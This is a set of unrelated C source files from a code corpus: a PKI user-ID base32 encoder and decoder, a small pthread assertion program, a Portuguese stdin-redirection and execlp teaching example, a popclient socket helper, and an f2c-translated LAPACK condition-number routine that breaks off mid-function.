quantity to the end of the data */
valBuf[ 0 ] = intToByte( checksumData( valBuf + 1, length - 1 ) & 0xFF );
/* Encode the binary data as text */
LOOP_MED( ( length = 0, i = 1 ), i <= noCodeGroups * 5, i++ )
{
int chunkValue;
/* Extract the next 5-bit chunk and convert it to text form */
if( bitCount < 3 )
{
/* Everything's present in one byte, shift it down to the LSB */
chunkValue = ( valBuf[ byteCount ] >> ( 3 - bitCount ) ) & 0x1F;
}
else
{
if( bitCount == 3 )
{
/* It's the 5 LSBs */
chunkValue = valBuf[ byteCount ] & 0x1F;
}
else
{
/* The data spans two bytes, shift the bits from the high
byte up and the bits from the low byte down */
chunkValue = ( ( valBuf[ byteCount ] & \
hiMask[ bitCount ] ) << ( bitCount - 3 ) ) | \
( ( valBuf[ byteCount + 1 ] & \
loMask[ bitCount ] ) >> ( 11 - bitCount ) );
}
}
ENSURES( chunkValue >= 0 && chunkValue <= 0x20 );
encVal[ length++ ] = codeTable[ chunkValue ];
if( length < encValMaxLen && ( i % 5 ) == 0 && i < noCodeGroups * 5 )
encVal[ length++ ] = '-';
ENSURES( length < encValMaxLen );
/* Advance by 5 bits */
bitCount += 5;
if( bitCount >= 8 )
{
bitCount -= 8;
byteCount++;
}
ENSURES( bitCount >= 0 && bitCount < 8 );
ENSURES( byteCount >= 0 && byteCount < 64 );
}
ENSURES( LOOP_BOUND_OK );
*encValLen = length;
return( CRYPT_OK );
}
/****************************************************************************
* *
* PKI User ID Decoding Functions *
* *
****************************************************************************/
/* Check whether a text string appears to be an encoded PKI user value */
CHECK_RETVAL_BOOL STDC_NONNULL_ARG( ( 1 ) ) \
BOOLEAN isPKIUserValue( IN_BUFFER( encValLength ) const char *encVal,
IN_LENGTH_SHORT_MIN( 10 ) const int encValLength )
{
int i, LOOP_ITERATOR;
assert( isReadPtrDynamic( encVal, encValLength ) );
REQUIRES_B( encValLength > 10 && encValLength < MAX_INTLENGTH_SHORT );
/* Check whether a user value is of the form XXXXX-XXXXX-XXXXX{-XXXXX}.
Although we shouldn't be seeing O/0 or I/1 in the input we don't
specifically check for these since they could be present as typos.
In other words we're checking for the presence of an input pattern
that matches an encoded PKI user value, not for the validity of the
value itself, which will be checked by decodePKIUserValue() */
if( ( encValLength != ( 3 * 5 ) + 2 ) && \
( encValLength != ( 4 * 5 ) + 3 ) )
return( FALSE );
LOOP_MED_INITCHECK( i = 0, i < encValLength )
{
int j, LOOP_ITERATOR_ALT;
/* Decode each character group. We know from the length check above
that this won't run off the end of the data, so we don't have to
check the index value */
LOOP_SMALL_ALT( j = 0, j < 5, j++ )
{
const int ch = byteToInt( encVal[ i++ ] );
if( !isAlnum( ch ) )
return( FALSE );
}
ENSURES_B( LOOP_BOUND_OK_ALT );
if( i < encValLength && encVal[ i++ ] != '-' )
return( FALSE );
}
ENSURES_B( LOOP_BOUND_OK );
return( TRUE );
}
/* Decode a text representation of a binary key */
CHECK_RETVAL STDC_NONNULL_ARG( ( 1, 3, 4 ) ) \
int decodePKIUserValue( OUT_BUFFER( valueMaxLen, *valueLen ) BYTE *value,
IN_LENGTH_SHORT_MIN( 10 ) const int valueMaxLen,
OUT_LENGTH_BOUNDED_Z( valueMaxLen ) int *valueLen,
IN_BUFFER( encValLength ) const char *encVal,
IN_LENGTH_SHORT const int encValLength )
{
BYTE valBuf[ 128 + 8 ];
char encBuf[ CRYPT_MAX_TEXTSIZE + 8 ];
int i, byteCount = 0, bitCount = 0, length = 0, LOOP_ITERATOR;
assert( isWritePtrDynamic( value, valueMaxLen ) );
assert( isWritePtr( valueLen, sizeof( int ) ) );
assert( isReadPtrDynamic( encVal, encValLength ) );
REQUIRES( valueMaxLen >= 10 && valueMaxLen < MAX_INTLENGTH_SHORT );
REQUIRES( isShortIntegerRangeNZ( encValLength ) );
/* Clear return values */
memset( value, 0, min( 16, valueMaxLen ) );
*valueLen = 0;
/* Make sure that the input has a reasonable length (this should have
been checked by the caller using isPKIUserValue(), so we throw an
exception if the check fails). We return CRYPT_ERROR_BADDATA rather
than the more obvious CRYPT_ERROR_OVERFLOW since something returned
from this low a level should be a consistent error code indicating
that there's a problem with the PKI user value as a whole */
if( encValLength < ( 3 * 5 ) || encValLength > CRYPT_MAX_TEXTSIZE )
{
DEBUG_DIAG(( "PKI user value has invalid length" ));
assert( DEBUG_WARN );
return( CRYPT_ERROR_BADDATA );
}
REQUIRES( isPKIUserValue( encVal, encValLength ) );
/* Undo the formatting of the encoded value from XXXXX-XXXXX-XXXXX...
to XXXXXXXXXXXXXXX... */
LOOP_LARGE_INITCHECK( i = 0, i < encValLength )
{
int j, LOOP_ITERATOR_ALT;
LOOP_SMALL_ALT( j = 0, j < 5, j++ )
{
const int ch = byteToInt( encVal[ i++ ] );
/* Note that we've just incremented 'i', so the range check is
'>' rather than '>=' */
if( !isAlnum( ch ) || i > encValLength )
return( CRYPT_ERROR_BADDATA );
encBuf[ length++ ] = intToByte( toUpper( ch ) );
}
ENSURES( LOOP_BOUND_OK_ALT );
if( i < encValLength && encVal[ i++ ] != '-' )
return( CRYPT_ERROR_BADDATA );
}
ENSURES( LOOP_BOUND_OK );
if( ( length % 5 ) != 0 || length > CRYPT_MAX_TEXTSIZE )
return( CRYPT_ERROR_BADDATA );
/* Decode the text data into binary */
memset( valBuf, 0, 128 );
LOOP_LARGE( i = 0, i < length, i ++ )
{
const int ch = byteToInt( encBuf[ i ] );
int chunkValue, LOOP_ITERATOR_ALT;
LOOP_MED_ALT( chunkValue = 0, chunkValue < 0x20, chunkValue++ )
{
if( codeTable[ chunkValue ] == ch )
break;
}
ENSURES( LOOP_BOUND_OK_ALT );
if( chunkValue >= 0x20 )
return( CRYPT_ERROR_BADDATA );
/* Extract the next 5-bit chunk and convert it to text form */
if( bitCount < 3 )
{
/* Everything's present in one byte, shift it up into position */
valBuf[ byteCount ] |= chunkValue << ( 3 - bitCount );
}
else
{
if( bitCount == 3 )
{
/* It's the 5 LSBs */
valBuf[ byteCount ] |= chunkValue;
}
else
{
/* The data spans two bytes, shift the bits from the high
byte down and the bits from the low byte up */
valBuf[ byteCount ] |= \
intToByte( ( chunkValue >> ( bitCount - 3 ) ) & \
hiMask[ bitCount ] );
valBuf[ byteCount + 1 ] = \
intToByte( ( chunkValue << ( 11 - bitCount ) ) & \
loMask[ bitCount ] );
}
}
/* Advance by 5 bits */
bitCount += 5;
if( bitCount >= 8 )
{
bitCount -= 8;
byteCount++;
}
ENSURES( bitCount >= 0 && bitCount < 8 );
ENSURES( byteCount >= 0 && byteCount < 64 );
}
ENSURES( LOOP_BOUND_OK );
/* Calculate the Fletcher checksum and make sure that it matches the
value at the start of the data bytes */
if( bitCount > 0 )
byteCount++; /* More bits in the last partial byte */
if( valBuf[ 0 ] != ( checksumData( valBuf + 1, byteCount - 1 ) & 0xFF ) )
return( CRYPT_ERROR_BADDATA );
/* Return the decoded value to the caller */
ENSURES( byteCount >= 2 && byteCount - 1 <= valueMaxLen );
REQUIRES( boundsCheck( 1, byteCount - 1, valueMaxLen ) );
memcpy( value, valBuf + 1, byteCount - 1 );
*valueLen = byteCount - 1;
return( CRYPT_OK );
}
#endif /* USE_BASE64ID */
|
the_stack_data/218892357.c
|
#include <pthread.h>
int g;
int g1 = 0;
int g2 = 0;
void thr1() {
int junk = 0;
junk++;
junk++;
junk++;
junk++;
junk++;
while (g1 < g) {
g1 = g1 + 1;
}
junk++;
junk++;
junk++;
junk++;
junk++;
}
void thr2() {
int junk = 0;
junk++;
junk++;
junk++;
junk++;
junk++;
while (g2 < g) {
g2 = g2 + 1;
}
junk++;
junk++;
junk++;
junk++;
junk++;
}
int main() {
glb_init(g>0);
pthread_t t1, t2;
pthread_create(&t1, NULL, thr1, NULL);
pthread_create(&t2, NULL, thr2, NULL);
assert(g1 <= g);
assert(g2 <= g);
assert(g1+g2 <= 2*g);
}
|
the_stack_data/54605.c
|
# include <unistd.h>
# include <stdio.h>
# include <stdlib.h>
# include <sys/types.h>
# include <sys/stat.h>
# include <fcntl.h>
/*
wc funcionamento:
wc sozinho, lê do stdin, podes mandar um EOF com CTRL + D para acabar
output
NºLinhas NºPalavras NºChars
*/
// Experimenta correr: gcc ./execFromFile.c -o execFromFile && ./execFromFile test.txt wc
// Primeiro argumento é input, segundo é output
int main(int argc, char*argv[]){
int res;
if(argc<3){
printf("\nindicar ficheiro programa se faz favor\n");
return 1;
}
// close(0); // OU
close(STDIN_FILENO); // stdin é um FILE *, logo tens que usar STDIN FILE NUMBER instead of 0
/*
Acede ao primeiro indice da seguinte tabela:
0 1 2
┌──────┬───────┬───────┬────┬────┐
│stdin │stdout |stderr │ <o resto está vazio>
└──────┴───────┴───────┴────┴────┘
*/
res = open(argv[1], O_RDONLY);
if (res == -1) {
perror("erro ficheiro: ");
return 2;
}
execlp(argv[2], argv[2], NULL);
perror("erro comando: ");
return 0; // Não chega a esta linha
}
|
the_stack_data/200142921.c
|
/* $Id: socket.c 1.1 1995/01/01 07:11:14 cthuang Exp $
*
* This module has been modified by Radim Kolar for OS/2 emx
*/
/***********************************************************************
module: socket.c
program: popclient
SCCS ID: @(#)socket.c 1.5 4/1/94
programmer: Virginia Tech Computing Center
compiler: DEC RISC C compiler (Ultrix 4.1)
environment: DEC Ultrix 4.3
description: UNIX sockets code.
***********************************************************************/
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/time.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
int Socket(const char *host, int clientPort)
{
int sock;
unsigned long inaddr;
struct sockaddr_in ad;
struct hostent *hp;
memset(&ad, 0, sizeof(ad));
ad.sin_family = AF_INET;
inaddr = inet_addr(host);
if (inaddr != INADDR_NONE)
memcpy(&ad.sin_addr, &inaddr, sizeof(inaddr));
else
{
hp = gethostbyname(host);
if (hp == NULL)
return -1;
memcpy(&ad.sin_addr, hp->h_addr, hp->h_length);
}
ad.sin_port = htons(clientPort);
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0)
return sock;
if (connect(sock, (struct sockaddr *)&ad, sizeof(ad)) < 0)
{
close(sock);
return -1;
}
return sock;
}
|
the_stack_data/215193.c
|
/* f2c.h -- Standard Fortran to C header file */
/** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed."
- From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */
#ifndef F2C_INCLUDE
#define F2C_INCLUDE
#include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimag(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle() continue;
#define myceiling(w) {ceil(w)}
#define myhuge(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i]) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i]) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
/* -- translated by f2c (version 20000121).
You must link the resulting object file with the libraries:
-lf2c -lm (in that order)
*/
/* Table of constant values */
static integer c__1 = 1;
/* > \brief \b ZLA_GBRCOND_C computes the infinity norm condition number of op(A)*inv(diag(c)) for general ban
ded matrices. */
/* =========== DOCUMENTATION =========== */
/* Online html documentation available at */
/* http://www.netlib.org/lapack/explore-html/ */
/* > \htmlonly */
/* > Download ZLA_GBRCOND_C + dependencies */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zla_gbr
cond_c.f"> */
/* > [TGZ]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zla_gbr
cond_c.f"> */
/* > [ZIP]</a> */
/* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zla_gbr
cond_c.f"> */
/* > [TXT]</a> */
/* > \endhtmlonly */
/* Definition: */
/* =========== */
/* DOUBLE PRECISION FUNCTION ZLA_GBRCOND_C( TRANS, N, KL, KU, AB, */
/* LDAB, AFB, LDAFB, IPIV, */
/* C, CAPPLY, INFO, WORK, */
/* RWORK ) */
/* CHARACTER TRANS */
/* LOGICAL CAPPLY */
/* INTEGER N, KL, KU, KD, KE, LDAB, LDAFB, INFO */
/* INTEGER IPIV( * ) */
/* COMPLEX*16 AB( LDAB, * ), AFB( LDAFB, * ), WORK( * ) */
/* DOUBLE PRECISION C( * ), RWORK( * ) */
/* > \par Purpose: */
/* ============= */
/* > */
/* > \verbatim */
/* > */
/* > ZLA_GBRCOND_C Computes the infinity norm condition number of */
/* > op(A) * inv(diag(C)) where C is a DOUBLE PRECISION vector. */
/* > \endverbatim */
/* Arguments: */
/* ========== */
/* > \param[in] TRANS */
/* > \verbatim */
/* > TRANS is CHARACTER*1 */
/* > Specifies the form of the system of equations: */
/* > = 'N': A * X = B (No transpose) */
/* > = 'T': A**T * X = B (Transpose) */
/* > = 'C': A**H * X = B (Conjugate Transpose = Transpose) */
/* > \endverbatim */
/* > */
/* > \param[in] N */
/* > \verbatim */
/* > N is INTEGER */
/* > The number of linear equations, i.e., the order of the */
/* > matrix A. N >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] KL */
/* > \verbatim */
/* > KL is INTEGER */
/* > The number of subdiagonals within the band of A. KL >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] KU */
/* > \verbatim */
/* > KU is INTEGER */
/* > The number of superdiagonals within the band of A. KU >= 0. */
/* > \endverbatim */
/* > */
/* > \param[in] AB */
/* > \verbatim */
/* > AB is COMPLEX*16 array, dimension (LDAB,N) */
/* > On entry, the matrix A in band storage, in rows 1 to KL+KU+1. */
/* > The j-th column of A is stored in the j-th column of the */
/* > array AB as follows: */
/* > AB(KU+1+i-j,j) = A(i,j) for f2cmax(1,j-KU)<=i<=f2cmin(N,j+kl) */
/* > \endverbatim */
/* > */
/* > \param[in] LDAB */
/* > \verbatim */
/* > LDAB is INTEGER */
/* > The leading dimension of the array AB. LDAB >= KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[in] AFB */
/* > \verbatim */
/* > AFB is COMPLEX*16 array, dimension (LDAFB,N) */
/* > Details of the LU factorization of the band matrix A, as */
/* > computed by ZGBTRF. U is stored as an upper triangular */
/* > band matrix with KL+KU superdiagonals in rows 1 to KL+KU+1, */
/* > and the multipliers used during the factorization are stored */
/* > in rows KL+KU+2 to 2*KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[in] LDAFB */
/* > \verbatim */
/* > LDAFB is INTEGER */
/* > The leading dimension of the array AFB. LDAFB >= 2*KL+KU+1. */
/* > \endverbatim */
/* > */
/* > \param[in] IPIV */
/* > \verbatim */
/* > IPIV is INTEGER array, dimension (N) */
/* > The pivot indices from the factorization A = P*L*U */
/* > as computed by ZGBTRF; row i of the matrix was interchanged */
/* > with row IPIV(i). */
/* > \endverbatim */
/* > */
/* > \param[in] C */
/* > \verbatim */
/* > C is DOUBLE PRECISION array, dimension (N) */
/* > The vector C in the formula op(A) * inv(diag(C)). */
/* > \endverbatim */
/* > */
/* > \param[in] CAPPLY */
/* > \verbatim */
/* > CAPPLY is LOGICAL */
/* > If .TRUE. then access the vector C in the formula above. */
/* > \endverbatim */
/* > */
/* > \param[out] INFO */
/* > \verbatim */
/* > INFO is INTEGER */
/* > = 0: Successful exit. */
/* > i > 0: The ith argument is invalid. */
/* > \endverbatim */
/* > */
/* > \param[out] WORK */
/* > \verbatim */
/* > WORK is COMPLEX*16 array, dimension (2*N). */
/* > Workspace. */
/* > \endverbatim */
/* > */
/* > \param[out] RWORK */
/* > \verbatim */
/* > RWORK is DOUBLE PRECISION array, dimension (N). */
/* > Workspace. */
/* > \endverbatim */
/* Authors: */
/* ======== */
/* > \author Univ. of Tennessee */
/* > \author Univ. of California Berkeley */
/* > \author Univ. of Colorado Denver */
/* > \author NAG Ltd. */
/* > \date December 2016 */
/* > \ingroup complex16GBcomputational */
/* ===================================================================== */
doublereal zla_gbrcond_c_(char *trans, integer *n, integer *kl, integer *ku,
doublecomplex *ab, integer *ldab, doublecomplex *afb, integer *ldafb,
integer *ipiv, doublereal *c__, logical *capply, integer *info,
doublecomplex *work, doublereal *rwork)
{
/* System generated locals */
integer ab_dim1, ab_offset, afb_dim1, afb_offset, i__1, i__2, i__3, i__4;
doublereal ret_val, d__1, d__2;
doublecomplex z__1;
/* Local variables */
integer kase, i__, j;
extern logical lsame_(char *, char *);
integer isave[3];
doublereal anorm;
extern /* Subroutine */ int zlacn2_(integer *, doublecomplex *,
doublecomplex *, doublereal *, integer *, integer *);
integer kd, ke;
extern /* Subroutine */ int xerbla_(char *, integer *, ftnlen);
doublereal ainvnm;
extern /* Subroutine */ int zgbtrs_(char *, integer *, integer *, integer
*, integer *, doublecomplex *, integer *, integer *,
doublecomplex *, integer *, integer *);
doublereal tmp;
logical notrans;
/* -- LAPACK computational routine (version 3.7.0) -- */
/* -- LAPACK is a software package provided by Univ. of Tennessee, -- */
/* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */
/* December 2016 */
/* ===================================================================== */
/* Parameter adjustments */
ab_dim1 = *ldab;
ab_offset = 1 + ab_dim1 * 1;
ab -= ab_offset;
afb_dim1 = *ldafb;
afb_offset = 1 + afb_dim1 * 1;
afb -= afb_offset;
--ipiv;
--c__;
--work;
--rwork;
/* Function Body */
ret_val = 0.;
*info = 0;
notrans = lsame_(trans, "N");
if (! notrans && ! lsame_(trans, "T") && ! lsame_(
trans, "C")) {
*info = -1;
} else if (*n < 0) {
*info = -2;
} else if (*kl < 0 || *kl > *n - 1) {
*info = -3;
} else if (*ku < 0 || *ku > *n - 1) {
*info = -4;
} else if (*ldab < *kl + *ku + 1) {
*info = -6;
} else if (*ldafb < (*kl << 1) + *ku + 1) {
*info = -8;
}
if (*info != 0) {
i__1 = -(*info);
xerbla_("ZLA_GBRCOND_C", &i__1, (ftnlen)13);
return ret_val;
}
/* Compute norm of op(A)*op2(C). */
anorm = 0.;
kd = *ku + 1;
ke = *kl + 1;
if (notrans) {
i__1 = *n;
for (i__ = 1; i__ <= i__1; ++i__) {
tmp = 0.;
if (*capply) {
/* Computing MAX */
i__2 = i__ - *kl;
/* Computing MIN */
i__4 = i__ + *ku;
